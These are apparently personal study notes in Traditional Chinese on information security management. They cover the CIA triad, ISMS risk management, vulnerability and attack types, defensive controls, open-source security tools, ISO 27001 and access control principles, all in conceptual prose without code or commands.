根據機密性、完整性和可用性的評估結果,組織可以將資訊資產進行分類和優先級排序,以確定保護措施的優先順序。 通過識別和評估資訊資產,組織可以更好地了解其所擁有的資訊資產,並針對性地實施適當的安全控制來保護這些資訊資產。 - **機密性、完整性、可用性 補充** 機密性(Confidentiality)、完整性(Integrity)和可用性(Availability)通常被稱為資訊安全的三大支柱,它們共同確保了資訊資產的全面保護。這三個概念在設計和實施資訊安全策略時都非常重要。 1. **機密性**(**C**onfidentiality):機密性是指確保資訊僅對授權的人員、系統或實體可用和訪問的性質。這意味著只有授權的人員才能訪問敏感資訊,以防止未經授權的訪問和數據泄露。<font color=red>實現機密性的常用方法包括加密、身份驗證和訪問控制</font>。 2. ****完整性(**I**ntegrity):完整性是指確保資訊在傳輸、存儲或處理過程中保持原樣和未經修改的性質。這意味著資訊不應被未授權的人員或系統修改、竄改或刪除。<font color=red>實現完整性的常用方法包括數位簽名、數據校驗和存儲校驗和審計</font>。 3. **可用性**(**A**vailability):可用性是指確保資訊和資訊系統在需要時可用和訪問的性質。這意味著資訊系統應該能夠及時提供服務,並對故障和攻擊進行有效的恢復。<font color=red>實現可用性的常用方法包括容錯設計、備份和恢復計劃、以及分佈式系統架構</font>。 ** 這三個概念通常被稱為<font color=red>資訊安全的「CIA 三角」</font> **,它們共同確保了資訊資產的保密性、完整性和可用性,以防止未經授權的訪問、數據損壞和服務中斷。組織應該綜合考慮這三個方面,制定和實施綜合的資訊安全策略,以確保其資訊資產得到充分的保護。 - **風險評估** 風險評估是資訊安全管理系統(ISMS)中的關鍵步驟之一,旨在識別和評估組織面臨的各種資訊安全風險。該過程有助於組織了解其資訊資產所面臨的潛在威脅,並評估這些威脅可能對組織產生的影響程度,以及它們的發生概率。以下是進行風險評估的基本步驟: 1. **識別資訊資產**: 確定組織擁有的所有資訊資產,包括數據、系統、設施、設備等。這可以通過盤點和資料收集來實現。 2. **識別潛在威脅**: 確定可能對資訊資產造成威脅的各種因素,例如自然災害、惡意軟體、內部員工等。這需要進行威脅情報收集和分析,以及對組織內外環境的了解。 3. 評估威脅的影響: 分析每個潛在威脅對資訊資產的可能影響,包括機密性、完整性和可用性等方面。這有助於確定威脅對組織的風險程度。 4. **評估風險的發生概率**: 估計每個潛在威脅發生的概率。這可以基於歷史數據、專家意見或統計模型等來進行。 5. **計算風險等級**: 通過將影響程度和發生概率結合起來,計算每個風險的總體風險等級。這有助於確定哪些風險是最緊迫的,需要優先處理。 6. **風險管理決策**: 根據風險評估結果,制定風險管理策略,包括風險處理措施的制定和實施,以及風險轉移、接受或避免等策略。 7. **持續監控和審核**: 定期監控和審核組織的風險評估,以確保評估的有效性和及時性,並根據需要進行調整。 通過風險評估,組織可以更好地了解其面臨的資訊安全風險,並制定相應的風險管理策略,以減輕或消除這些風險對組織的影響。 - **安全控制選擇** 安全控制選擇是資訊安全管理系統(ISMS)中的<font color=red>**關鍵步驟**</font>,旨在根據風險評估的結果,選擇和實施適當的安全控制來減輕或消除資訊安全風險。以下是進行安全控制選擇的基本步驟: 1. **參考標準和框架**: 考慮參考國際標準組織(ISO)的標準,如ISO/IEC 27001,以及其他相關的安全框架和最佳實踐,如NIST Cybersecurity Framework、CIS Controls等,以確定可用的安全控制。 2. **風險應對策略**: 根據風險評估的結果,確定每個風險的應對策略,包括風險轉移、風險接受、風險減輕和風險避免等。 3. **控制選擇**: 根據風險應對策略,選擇適當的安全控制來減輕或消除風險。這些控制可以包括<font color=red>**技術控制**(如加密、防火牆)、**組織控制**(如安全政策、培訓)、和**物理控制**(如閉路電視、存取控制)</font>等。 4. **考慮成本和效益**: 考慮實施每個安全控制的成本和效益,以確定其是否符合組織的預算和需求。 5. **整合控制**: 確保所選擇的安全控制能夠有效地整合到組織的資訊安全管理系統中,並與其他安全措施相互配合。 6. **文檔化和實施**: 將所選擇的安全控制明確文檔化,並制定相應的實施計劃和時間表。 7. **監控和審核**: 定期監控和審核已實施的安全控制,以確保其有效性和符合性,並根據需要進行調整和改進。 通過選擇和實施適當的安全控制,組織可以有效地管理和減輕資訊安全風險,並確保其資訊資產得到適當的保護。 - **執行監控和審核** 執行監控和審核是資訊安全管理系統(ISMS)中至關重要的步驟,旨在確保ISMS的有效運作,並持續改進其效能。以下是執行監控和審核的主要步驟: 1. **監控安全控制的實施**: 監控已經實施的安全控制,確保它們按照計劃和要求有效運作。這可能包括<font color=red>監控技術控制(例如防火牆、入侵檢測系統)、組織控制(例如執行安全政策的遵守情況)、和物理控制(例如保安巡邏)</font>等。 2. **收集監控數據**: 收集監控活動產生的數據和信息,包括事件日誌、安全警報、安全事件和異常活動等。這些數據將用於評估ISMS的有效性和識別任何潛在的問題或漏洞。 3. **評估監控結果**: 分析監控數據,評估安全控制的有效性和效率,並確定是否存在任何安全風險或問題需要解決。 4. **執行改進措施**: 根據監控結果,制定和實施改進措施,以解決任何已識別的問題或改善ISMS的效能。這可能包括修正安全控制的設置、加強員工培訓、修正安全政策等。 5. **進行內部審核**: 定期進行內部審核,評估ISMS的運作情況,並確保其符合相關的標準和法規要求。<font color=red>內部審核可以幫助發現潛在的問題或改進機會。</font> 6. **參與外部審核**: 參與<font color=red>外部審核,由獨立的第三方專家進行</font>,以驗證ISMS的運作情況,並確保其符合相關的標準和法規要求。 7. **持續改進**: 根據監控和審核的結果,持續改進ISMS,以確保其持續有效地應對組織面臨的資訊安全風險和威脅。 通過執行監控和審核,組織可以確保其ISMS的有效運作,及時識別和解決資訊安全問題,並持續改進其資訊安全管理能力。 - **持續改進** 持續改進是資訊安全管理系統(ISMS)中的<font color=red>**關鍵概念**</font>,旨在確保組織不斷地提高其資訊安全水準,以應對不斷變化的威脅和風險。以下是實現持續改進的一些主要步驟: 1. **監控和評估**: 持續監控和評估ISMS的運作情況,包括安全控制的效能、安全事件的發生情況以及組織的整體資訊安全狀況。 2. **識別改進機會**: 根據監控和評估的結果,識別潛在的改進機會和問題。這可能包括改進安全控制、加強員工培訓、更新安全政策等。 3. **設定目標**: 根據識別的改進機會,設定具體的改進目標和目標,確定所需的改進方向和重點。 4. **制定計劃**: 制定實施改進的具體計劃和時間表,確定負責人和執行時間,並確保資源的充分配置。 5. **執行改進**: 根據計劃,執行所需的改進措施,包括修改安全控制、更新程序、加強培訓等。 6. **監控改進效果**: 監控和評估實施改進措施的效果,確保其達到預期的目標和效果。 7. **持續學習和進步**: 鼓勵組織內部不斷學習和改進的文化,積極尋求最新的資訊安全知識和最佳實踐,以應對不斷變化的威脅和技術。 8. **參與溝通和回饋**: 鼓勵員工和利益相關者參與持續改進過程,提供反饋意見和建議,促進改進的溝通和協作。 持續改進是資訊安全管理的一個不斷進化的過程,通過不斷地審核、改進和學習,組織可以有效地提高其資訊安全水準,並應對不斷變化的資訊安全挑戰。 - ### 2. **資訊安全風險管理** 資訊安全風險管理是一個綜合的、持續的過程,旨在識別、評估和處理組織面臨的資訊安全風險。以下是資訊安全風險管理的一般步驟: 1. **風險識別**: 確定組織可能面臨的所有資訊安全風險,包括內部和外部的威脅、弱點和潛在的漏洞。這可以通過<font color=red>威脅建模、弱點分析、安全事件記錄</font>等方式進行。 2. **風險評估**: 評估識別的風險的嚴重性和概率,以確定它們的影響程度和可能性。這包括分析潛在風險對組織資訊資產的潛在影響以及這些風險發生的可能性。 3. **風險處理**: 根據風險評估的結果,制定和實施適當的風險處理策略。這可能包括<font color=red>風險轉移(如購買保險)、風險接受(如承擔風險)、風險減輕(如實施安全控制)和風險避免(如停止高風險活動</font>等。 4. **監控和審核**: 定期監控和審核組織的資訊安全風險管理過程,以<font color=red>確保其有效性和及時性</font>。這包括定期檢查風險評估和處理的結果,並根據需要調整和改進風險管理策略。 5. **持續改進**: 根據監控和審核的結果,持續改進資訊安全風險管理過程,以確保其符合組織的需求和最佳實踐。 資訊安全風險管理是一個<font color=red>動態的過程</font>,需要組織不斷地進行識別、評估、處理和監控,以確保其資訊資產得到適當的保護,並應對不斷變化的威脅和風險。 以下細述各項 - **風險識別** 風險識別是資訊安全管理中的重要步驟,用於識別可能對組織資訊資產產生損害或威脅的因素。以下是進行風險識別的一般步驟: 1. **確定資訊資產**: 首先,確定組織的所有資訊資產,包括數據、系統、設備、軟體等。這將幫助確定需要保護的資訊資產,以及可能的風險來源。 2. **識別潛在威脅**: 然後,識別可能對資訊資產造成威脅的各種因素。這些威脅可能包括<font color=red>惡意軟體、駭客攻擊、自然災害、內部員工的錯誤行為</font>等。 3. **評估弱點**: 確定資訊系統中可能存在的弱點和漏洞。這可能包括<font color=red>軟體漏洞、系統配置錯誤、不安全的網路設置</font>等。 4. **分析可能的風險**: 將識別的威脅和弱點與組織的資訊資產相匹配,分析這些威脅和弱點可能對資訊資產產生的風險和影響。 5. **優先排序風險**: 根據風險的嚴重性和可能性,將識別的風險進行優先排序,確定哪些風險需要更多的關注和處理。 6. **文檔化和溝通**: 將風險識別的結果文檔化,包括識別的威脅、弱點、風險等信息,並與相關的利益相關者進行溝通。 風險識別是資訊安全管理的關鍵步驟之一,它有助於組織了解其面臨的資訊安全風險,並制定相應的風險管理策略來減輕或消除這些風險。 - **風險評估** 風險評估是資訊安全管理中的<font color=red>關鍵步驟</font>,用於評估和量化組織面臨的各種資訊安全風險的嚴重性和概率。以下是進行風險評估的一般步驟: 1. **識別資訊資產**: 首先,識別和確定組織的所有資訊資產,包括數據、系統、設備、軟體等。這有助於確定需要評估風險的範圍。 2. **識別威脅和弱點**: 識別可能對資訊資產造成威脅的因素,以及資訊系統中存在的弱點和漏洞。這可以通過<font color=red>威脅建模、弱點分析和安全掃描</font>等方式進行。 3. **評估風險嚴重性**: 評估識別的風險對組織的潛在影響程度,包括<font color=red>對機密性、完整性和可用性的影響</font>。這通常涉及定量和定性分析,以評估風險的嚴重性級別。 4. **評估風險概率**: 評估每個風險發生的概率或可能性。這可以通過<font color=red>歷史數據、專家評估或模型分析</font>等方式進行。 5. **計算風險等級**: 將風險的嚴重性和概率結合起來,計算每個風險的總體風險等級。這有助於確定哪些風險是最緊迫的,需要優先考慮。 6. **文檔化和溝通**: 將風險評估的結果文檔化,包括識別的風險、風險等級、評估的依據和方法等信息,並與相關的利益相關者進行溝通。 風險評估是資訊安全管理的關鍵步驟之一,它有助於組織了解其面臨的資訊安全風險的情況,並針對性地制定適當的風險管理策略和措施。 - 風險處理 風險處理是資訊安全管理中的重要步驟,旨在根據風險評估的結果,針對識別的風險採取相應的措施,以降低或消除這些風險對組織的潛在影響。以下是風險處理的一般步驟: 1. **風險轉移**: <font color=red>將風險轉移給第三方,通常是透過購買保險等方式。</font>這使組織能夠將風險轉移給保險公司,以降低其可能面臨的損失。 2. **風險接受**: 當風險的潛在影響被視為可接受並且成本高於風險控制的實施成本時,組織可以選擇接受風險。這通常發生在風險的影響較小或風險控制措施的實施成本過高的情況下。 3. **風險減輕**: 針對識別的風險,實施相應的風險減輕措施,以降低風險的發生概率或影響程度。這包括<font color=red>實施安全控制、加強監控、改進流程</font>等。 4. **風險避免**: 有時候,最好的處理方式是通過避免風險的發生。這可能包括<font color=red>停止高風險的活動或業務,改變業務模型或流程</font>,以降低風險的潛在影響。 5. **持續監控和審核**: 風險處理後,需要持續監控和審核已實施的控制措施,以確保其有效性和符合性。這有助於確保風險得到適當的管理和控制。 6. **調整策略**: 根據監控和審核的結果,及時調整風險處理策略,以應對新的威脅和風險,並確保組織的資訊安全持續得到保護。 通過適當的風險處理措施,組織可以有效地管理和控制其面臨的資訊安全風險,並確保資訊資產得到適當的保護。 - **監控和審核** 監控和審核是確保資訊安全管理系統(ISMS)持續有效運作的關鍵步驟。以下是在這一過程中監控和審核的主要內容: 1. **監控安全控制的實施**: 監控已實施的安全控制措施,確保其有效運作。這可能包括監控技術控制(如防火牆、入侵檢測系統)、組織控制(如安全政策的執行情況)、物理控制(如設施和設備的安全性)等。 2. **收集監控數據**: 收集監控活動產生的數據和信息,包括事件日誌、安全警報、安全事件和異常活動等。這些數據將用於評估ISMS的有效性,並識別任何潛在的問題或風險。 3. **評估監控結果**: 分析收集的監控數據,評估安全控制的有效性和效率,確定是否存在任何風險或問題需要解決,以及是否需要調整現有的控制措施。 4. **執行改進措施**: 根據監控結果,制定並實施改進措施,以解決已識別的問題或改進ISMS的效能。這可能包括調整安全控制、加強培訓、改進流程等。 5. **進行審核**: 定期進行內部和外部審核,以驗證ISMS的有效性和符合性。內部審核由組織的內部專業人員進行,而外部審核則由獨立的第三方進行。 6. **持續改進**: 根據監控和審核的結果,持續改進ISMS,以確保其持續有效地應對組織面臨的資訊安全風險和威脅。 監控和審核過程是資訊安全風險管理的重要組成部分,通過這些步驟,組織可以確保其ISMS持續有效地運作,並及時識別和解決資訊安全問題,以維護組織的資訊資產安全。 - **持續改進** 在資訊安全風險管理中,持續改進是一個重要的概念,它強調了對資訊安全管理系統(ISMS)的不斷改進和提升,以應對不斷變化的威脅和風險。以下是資訊安全風險管理中持續改進的主要方面: 1. **定期評估和監控**: 持續改進的第一步是定期評估和監控ISMS的運作情況。這包括定期審核安全控制的有效性,監控安全事件和異常活動,以及收集監控數據用於分析。 2. **分析結果和回饋**: 將收集到的監控數據和審核結果進行分析,識別已經存在的問題和潛在的改進機會。並且重視來自各個層面的回饋,包括用戶、管理層、技術人員等。 3. **制定改進計劃**: 基於分析結果,制定具體的改進計劃和措施,針對已識別的問題進行修正,並提出持續改進的目標和計劃。 4. **執行改進措施**: 將改進計劃付諸行動,實施必要的改進措施。這可能包括調整安全政策和程序、加強培訓和教育、改進技術控制、調整組織架構等。 5. **監控和評估改進效果**: 定期監控和評估改進措施的效果,確保其達到預期的效果,並進行必要的調整和修正。 6. **持續學習和更新**: 不斷學習和更新資訊安全領域的知識和最佳實踐,並根據最新的威脅和技術發展,調整和改進ISMS。 7. **推動文化改變**: 建立一個積極的安全文化,鼓勵員工參與和支持持續改進的努力,並將資訊安全視為組織的共同責任。 持續改進是資訊安全管理的核心原則之一,通過不斷的監控、評估和改進,組織可以不斷提升其資訊安全管理能力,並有效地應對不斷變化的資訊安全風險。 - ### 3. **弱點、攻擊與防護** 弱點、攻擊和防護是資訊安全領域中的重要概念,它們相互關聯並在確保資訊安全方面發揮著重要作用。 1. **弱點(Vulnerabilities)**: 弱點指的是系統中的漏洞或不安全的地方,可能被攻擊者利用來獲取未經授權的訪問或對系統進行損害。弱點可以是由於軟體設計或編程錯誤、不完善的配置、系統組件的不足等因素導致的。在資訊安全管理中,發現並解決弱點是保護系統免受攻擊的關鍵步驟之一。 2. **攻擊(Attacks)**: 攻擊是指對系統、網絡或資訊資產的惡意行為,旨在獲取未經授權的訪問、竊取敏感信息、中斷服務或對系統造成損害。攻擊可以來自外部黑客、內部惡意人員、自然災害等各種來源。常見的攻擊類型包括惡意軟體、網絡釣魚、拒絕服務攻擊(DDoS)、勒索軟體等。 3. **防護(Defense)**: 防護是指實施安全措施來保護系統、網絡和資訊資產,防止其受到攻擊和損害。防護措施可以包括<font color=red>技術性措施(例如防火牆、入侵檢測系統、加密技術)、組織性措施(例如制定安全政策、培訓員工、實施訪問控制)和物理性措施(例如閉路電視、門禁系統)</font>。防護的目標是降低系統受到攻擊的概率,減少攻擊造成的影響。>。防護的目標是降低系統受到攻擊的概率,減少攻擊造成的影響。 綜合來看,發現並解決系統弱點可以有效地降低系統受到攻擊的風險。同時,實施綜合的防護措施可以最大程度地保護系統免受攻擊和損害。因此,在資訊安全管理中,防護措施的設計和實施是至關重要的,它們應該根據系統的特點和潛在風險來制定和執行。 在資訊安全領域中,弱點(Vulnerabilities)指的是系統、軟體或網路中存在的安全漏洞或缺陷,可能被攻擊者利用來進行未授權的操作或對系統進行損害。弱點可能是由於軟體設計錯誤、程式碼漏洞、不正確的配置、不安全的設置或過時的軟體版本等原因導致的。攻擊者可以利用這些弱點來入侵系統、竊取敏感資訊、破壞系統功能或對系統進行其他不當操作。 - 弱點 弱點可能出現在各種不同的系統組件中,包括操作系統、應用程式、網路設備、資料庫、服務器等。常見的弱點包括但不限於: 1. 程式碼漏洞: 由於程式設計或編程錯誤導致的漏洞,例如緩衝區溢出、整數溢出、格式字串漏洞等。 - 緩衝區溢出(Buffer Overflow)、整數溢出(Integer Overflow)、格式字串漏洞(Format String Vulnerability)是常見的軟體安全漏洞,可能被惡意攻擊者利用來執行未授權的程式碼或對系統進行其他不當操作。以下是對這些漏洞的簡要解釋: - 緩衝區溢出(Buffer Overflow): 緩衝區溢出是指當一個程式試圖向一個緩衝區中寫入超出其容量的數據時,會導致多餘的數據被寫入到相鄰的記憶體區域,從而可能對系統造成不可預期的影響。攻擊者通常利用緩衝區溢出來修改程式的執行路徑,執行未授權的指令或注入惡意程式碼。 - 2014 年,由於 SSL 軟體中的緩衝區溢位漏洞,一種被稱為「heartbleed」的威脅使億萬使用者受到攻擊。 [參考網址](https://www.cloudflare.com/zh-tw/learning/security/threats/buffer-overflow/) [緩衝區溢出](https://www.newton.com.tw/wiki/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA) - 整數溢出(Integer Overflow): 整數溢出發生在程式試圖將一個數值存儲到一個無法容納這個數值的變數中時。當整數值超出了變數所能表示的範圍時,它可能會“溢出”,導致結果不正確或未定義的行為。攻擊者可以利用整數溢出來修改程式的行為,可能導致不正常的執行或安全漏洞。 - 格式字串漏洞(Format String Vulnerability): 格式字串漏洞是一種程式設計錯誤,可能使攻擊者能夠通過格式化輸出函數(如printf或sprintf)中的格式字串,從堆棧或其他位置讀取或寫入記憶體,導致潛在的安全漏洞。攻擊者可以利用格式字串漏洞來執行未授權的程式碼、獲取敏感資訊或導致拒絕服務。 這些漏洞的存在可能會給系統安全帶來嚴重的風險,因此在軟體開發和系統維護中,需要適當地處理和防範這些漏洞。這包括通過程式碼審查、安全測試、使用安全的程式設計技術和最佳實踐等方式,來減少這些漏洞的風險並保護系統免受攻擊。 2. 系統配置錯誤: 不正確的系統配置或設置,例如預設密碼、未設置訪問控制、未啟用安全功能等。 3. 不安全的網路服務: 未更新或未適當配置的網路服務,例如開放的端口、未加密的通信、不安全的網路協議等。 4. 第三方組件漏洞: 使用的第三方軟體或庫中存在的安全漏洞,例如開源軟體或外部供應商提供的組件。 5. 人為失誤: 人為失誤或疏忽導致的安全漏洞,例如員工不當操作、未經授權的設置變更等。 發現並修補系統中的弱點是維護資訊安全的關鍵步驟之一。組織可以通過定期的弱點掃描、漏洞管理、安全更新和合規性審核等方式來識別和解決弱點,以降低系統受到攻擊的風險。 - 攻擊 攻擊是指對計算機系統、網絡、應用程序或數據的未授權、非法或惡意的行為,旨在獲取敏感信息、損害系統運行、入侵隱私或破壞數據完整性。攻擊可以針對各種目標,包括個人用戶、企業系統、政府機構和基礎設施。 以下是一些常見的攻擊類型: 1. **惡意軟件攻擊(Malware Attacks)**:包括病毒、蠕蟲、特洛伊木馬等,這些惡意軟件可以在受害者計算機上執行未授權的操作,例如竊取敏感信息、加密文件、破壞系統功能等。 2. **網絡攻擊(Network Attacks)**:針對網絡基礎設施的攻擊,包括入侵、拒絕服務(DoS)攻擊、分佈式拒絕服務(DDoS)攻擊、中間人攻擊等,旨在中斷網絡服務或盜取敏感信息。 3. **社交工程攻擊(Social Engineering Attacks)**:通過欺騙、誘騙或詐騙來獲取用戶的敏感信息,例如偽裝成信任的寄件人進行釣魚攻擊、偽裝成技術支援人員詢問用戶的帳戶信息等。 4. **身份盜竊(Identity Theft)**:盜用他人的身份信息,通常用於非法獲取金融、醫療或其他敏感信息。 5. **緩衝區溢出攻擊(Buffer Overflow Attacks)**:通過向程序的緩衝區中寫入超出其容量的數據,攻擊者可以修改程序的執行路徑、執行未授權的指令或注入惡意代碼。 6. **跨站腳本攻擊(Cross-Site Scripting Attacks,XSS)**:攻擊者將惡意腳本嵌入到受害者網站中,當用戶訪問該網站時,腳本將在用戶瀏覽器上執行,可能導致敏感信息的盜取或用戶會話劫持。 7. **跨站請求偽造攻擊(Cross-Site Request Forgery,CSRF)**:利用受害者在訪問其他網站時的身份驗證信息,發起未授權的請求,可能導致用戶帳戶被劫持、信息泄露等。 8. **密碼攻擊(Password Attacks)**:試圖通過猜測、暴力破解或使用社交工程技術來獲取用戶的密碼。 9. **側信道攻擊(Side-Channel Attacks)**:通過分析系統的側信道信息,例如電源消耗、計算時間等,來獲取敏感信息。 這只是一小部分常見的攻擊類型,實際上攻擊者的技術和手段非常豐富多樣,需要及時識別和應對。 - 防護(Defense) 防護措施是針對各種攻擊和威脅實施的安全措施和策略,旨在保護系統、網絡和數據免受未授權訪問、損壞或盜取。以下是一些常見的防禦措施: 1. 防火牆(Firewalls):防火牆是一種用於監視和控制網絡流量的安全設備,可以根據預定的安全策略阻止或允許特定類型的流量通過。 2. 入侵檢測系統(Intrusion Detection Systems,IDS)和入侵防禦系統(Intrusion Prevention Systems,IPS):IDS 監視網絡或系統中的異常行為,而 IPS 則主動阻止可能的入侵行為。 3. 身份驗證和授權:實施強大的身份驗證機制,例如多因素身份驗證,確保只有授權用戶可以訪問系統和數據。 4. 加密:對敏感數據進行加密,包括數據在傳輸過程中的加密(例如 HTTPS),以及數據在存儲中的加密(例如磁盤加密)。 5. 漏洞管理和弱點掃描:定期掃描系統和應用程序,識別潛在的安全漏洞和弱點,並及時修補它們以減少風險。 6. 安全更新和補丁管理:定期應用安全更新和補丁,以修補已知的安全漏洞,防止攻擊者利用它們進行攻擊。 7. 安全意識培訓:對用戶進行安全意識培訓,教育他們識別和應對安全風險,並強調安全最佳實踐。 8. 日誌和監控:建立全面的日誌和監控機制,及時檢測和識別潛在的安全事件,並追蹤和調查已發生的安全事件。 9. 安全開發實踐:在開發和部署應用程序時遵循安全開發最佳實踐,例如輸入驗證、輸出編碼、避免 SQL 注入等。 10. 容災恢復計劃(Disaster Recovery Plans)和業務持續性計劃(Business Continuity Plans):建立計劃,以應對各種安全事件和災難,並確保業務能夠在發生故障或災難時繼續運行。 綜合應用這些防禦措施,可以大大提高系統和數據的安全性,降低受到攻擊的風險。重要的是要持續評估和更新安全策略,以應對不斷變化的威脅和攻擊技術。 - ### 4. 開源資安檢測工具 開源資安檢測工具提供了一種成本效益高且可定制的方式,用於識別系統中的弱點和威脅。以下是一些常見的開源資安檢測工具: 1. Nmap:一個用於網絡掃描和主機檢測的工具,可用於發現網絡上的主機和服務,並識別可能的弱點。 2. OpenVAS:開源漏洞掃描工具,用於識別系統和應用程序中的安全漏洞。它提供了廣泛的漏洞檢測和報告功能。 3. Metasploit Framework:一個用於測試系統安全性的渗透測試工具,它包含了大量的渗透測試模塊,用於測試和利用已知的安全漏洞。 4. Wireshark:一個網絡封包分析工具,可用於捕獲和分析網絡流量,識別可能的安全問題和攻擊。 5. Snort:一個用於網絡入侵檢測的開源工具,可用於檢測和預防各種網絡攻擊,包括入侵和惡意流量。 6. Suricata:另一個用於網絡安全監控和入侵檢測的工具,它具有高性能和多種檢測引擎的特點。 7. OSSEC:一個主機入侵檢測系統,用於檢測和防止系統入侵,並提供實時警報和日誌分析功能。 8. ModSecurity:一個開源的 Web 應用程序防火牆,用於保護 Web 應用程序免受各種攻擊,包括 SQL 注入、跨站腳本等。 9. ClamAV:一個開源的反病毒引擎,用於檢測和防止電子郵件和文件中的惡意軟件。 這些工具可以根據需要組合使用,以提供全面的安全檢測和防禦。值得注意的是,雖然這些工具都是開源的,但使用它們仍然需要相應的專業知識和技能,以確保正確配置和使用,並有效地解釋檢測結果。 - ### 5. 作業安全 作業安全是指在計算機系統和網絡環境中確保作業系統的安全性和穩定性的措施和實踐。這涉及到保護作業系統的核心功能、數據和用戶訪問,以防止未經授權的訪問、惡意攻擊和數據損壞。以下是一些重要的作業安全措施: 1. **強化系統設置**:將系統設置為<font color=red>最小權限原則</font>,禁用不必要的服務和功能,並及時應用安全更新和補丁。 2. **身份驗證和授權**:實施強大的身份驗證機制,包括密碼策略、多因素身份驗證和訪問控制,以確保只有授權用戶可以訪問系統和數據。 3. **文件系統權限**:設置適當的文件系統權限,限制用戶對系統文件和敏感數據的訪問權限,防止未授權的修改和刪除。 4. **安全日誌和監控**:建立日誌和監控機制,記錄系統活動和事件,並定期分析和檢測潛在的安全問題和威脅。 3. **防火牆和入侵檢測系統**:部署防火牆和入侵檢測系統,監控和阻止不明訪問和惡意活動,以保護系統免受外部攻擊。 4. **安全更新和補丁管理**:定期應用操作系統和應用程序的安全更新和補丁,以修補已知的安全漏洞和弱點。 5. **加密和數據保護**:對敏感數據和通信進行加密,保護數據在傳輸和存儲中的安全性,防止數據泄露和盜取。 6. **應急響應計劃**:建立應急響應計劃,包括應對安全事件和入侵的程序和流程,以及恢復系統運行的措施。 7. **安全意識培訓**:對用戶和管理人員進行安全意識培訓,教育他們識別和應對安全威脅,並強調安全最佳實踐。 這些措施幫助確保作業系統在計算機環境中的安全性和穩定性,防止未授權的訪問、惡意攻擊和數據損壞,保護系統和數據免受威脅。 - ## ISO/ICE 27001:2022 - 由於資訊安全管理系統的方式與思維沒有變化,基於過程方法、<font color=red>PDCA循環與風險思維的路徑仍然有效</font>,現有組織如果升級資訊安全管理系統時,管理系統文件方面變化不大,可以繼續使用,與風險思維的路徑仍然有效,現有組織如果升級資訊安全管理系統時,管理系統文件方面變化不大,可以繼續使用,<font color=red>但應強化跟進資訊安全科技的新發展</font>。 - PDCA PDCA循環是一種持續改善的管理方法,它由四個階段組成:Plan(計劃)、Do(實施)、Check(檢查)和Act(行動)。這種循環方法可以應用於各種管理系統和流程中,包括品質管理、環境管理和資訊安全管理等。 - 以下是PDCA循環的各個階段的簡要描述: - Plan(計劃):在這個階段,確定目標和流程,制定實現目標的計劃。這包括識別問題、設定目標、制定策略和製定計劃。計劃階段的關鍵是確保制定的計劃明確、可行,並考慮相關的資源和限制。 - Do(實施):在計畫確定後,執行所製定的計畫。這包括實施流程、採取行動和收集資料。實施階段的關鍵是確保計劃得到全面的實施,並採取適當的措施以確保實施過程的順利進行。 - Check(檢查):在實施階段完成後,評估實施結果並收集資料。這包括檢查實施的效果、比較實際結果與計劃目標以及識別問題和機會。檢查階段的關鍵是確保收集到的數據準確、完整,並且能夠提供有用的信息來評估實施的效果。 - Act(行動):基於檢查階段的結果,採取適當的行動來持續改善。這包括根據收集到的數據調整計劃、糾正問題和採取預防措施。行動階段的關鍵是確保採取的行動能解決問題、改善過程,並推動持續改善的實現。 一旦完成了整個PDCA循環,就會回到計劃階段,以開始新一輪的持續改進過程。透過持續地應用PDCA循環,組織可以不斷提高其管理系統和流程的效率和效果,實現持續改進和持續成功。 - 信息安全、網路安全、隱私保護 - 信息安全管理體系: 建立、實施、維護和持續改進信息安全管理體系,包跨所需過程及其相互作用。 - ## 資安管理認知 補充 - 待補寫... - 3. 存取控制與身分認證 - 存取控制與特權管理 存取控制(Access Control)和特權管理(Privilege Management)是資訊安全管理中至關重要的概念,用於確保組織的資訊資產僅能被授權的用戶或系統所訪問。以下是這兩個概念的詳細說明: 1. **存取控制**(Access Control): - 定義:存取控制是一種安全機制,通過限制用戶或系統對資訊資產的訪問來保護資訊安全。 - 原則:存取控制的原則包括最小授權原則(Principle of Least Privilege)、需知原則(Need-to-Know Principle)和分離原則(Separation of Duties)等。 1. **最小授權原則**(Principle of Least Privilege,PoLP)是資訊安全管理中的一個基本原則,也是許多安全框架和最佳實踐的核心概念之一。該原則指出,用戶或實體(如程序、系統)應該僅被授予其正確執行工作所需的最小權限,而不是過多的權限。 2. 需知原則(Need-to-Know Principle)是資訊安全管理中的另一個重要原則,旨在確保用戶或實體僅能夠訪問其工作域中與其工作職責直接相關的資訊或資源,而不是所有資訊。 需知原則與最小授權原則密切相關,但侧重点略有不同。需知原则强调了<font color=red>**“必须知道信息才能访问”**</font>的理念,即用戶或實體只有在其工作上必須知道或有正當理由需要某些資訊時,才能訪問該資訊。這一原則的目標是最大限度地減少資訊的暴露和濫用,並限制用戶或實體的訪問範圍,從而降低系統的風險和提高安全性。 3. **分離原則**(Separation of Duties,SoD)是一種資訊安全控制原則,旨在確保系統或業務流程中的重要任務被分配給不同的人員,從而降低內部風險和潛在的濫用。 - 技術:存取控制可以通過身份驗證、授權、監控和審核等技術來實現,包括密碼、生物特徵識別、角色基礎存取控制(RBAC)、權限控制清單(ACL)等。 - 類型:存取控制可以分為物理存取控制(Physical Access Control)和邏輯存取控制(Logical Access Control)兩種類型,用於保護實體和數據等不同類型的資產。 1. **物理存取控制**(Physical Access Control)是一種用於保護實體資產(如建築物、機房、設備等)的安全措施,**旨在確保僅授權的人員可以進入特定的物理空間,並防止未授權的進入。如門禁系統、門禁識別技術、安全門禁設備等。 2. **邏輯存取控制**(Logical Access Control)是一種用於保護資訊系統和數據的安全措施,旨在確保只有授權的用戶能夠在系統中執行特定的操作和訪問數據。與物理存取控制不同,邏輯存取控制主要是通過軟體和數字技術來實現的。如身份驗證(Authentication)、授權(Authorization):實現最小授權原則、加密(Encryption)等。 2. 特權管理(Privilege Management): - 定義:特權管理是一種管理和控制系統中用戶和系統的特權(權限)的過程,確保特權僅分配給有需要的用戶並受到適當的監控。 - 特權分級:特權管理涉及識別、分類和分級用戶或系統的特權,通常包括系統管理員、應用程序所有者、數據庫管理員等不同級別的特權。 - 授權和監控:特權管理包括對特權的授予、撤銷、審批和監控,確保特權的使用符合組織政策和法律法規要求。 - 技術:特權管理可以通過身份和訪問管理系統(IAM)、特權身份管理(PIM)、權限管理系統(PAM)等技術來實現。 存取控制和特權管理是組織確保資訊安全和合規性的重要手段,它們有助於減少潛在的安全風險、防止未經授權的訪問和操作,並確保資訊資產的保密性、完整性和可用性。有效的存取控制和特權管理是資訊安全管理中不可或缺的一部分。 - 身分認證 份認證(Authentication)是確定用戶身份的過程,以確保只有合法的用戶能夠訪問系統或資源。 - 待補寫... - 9. 新興科技安全 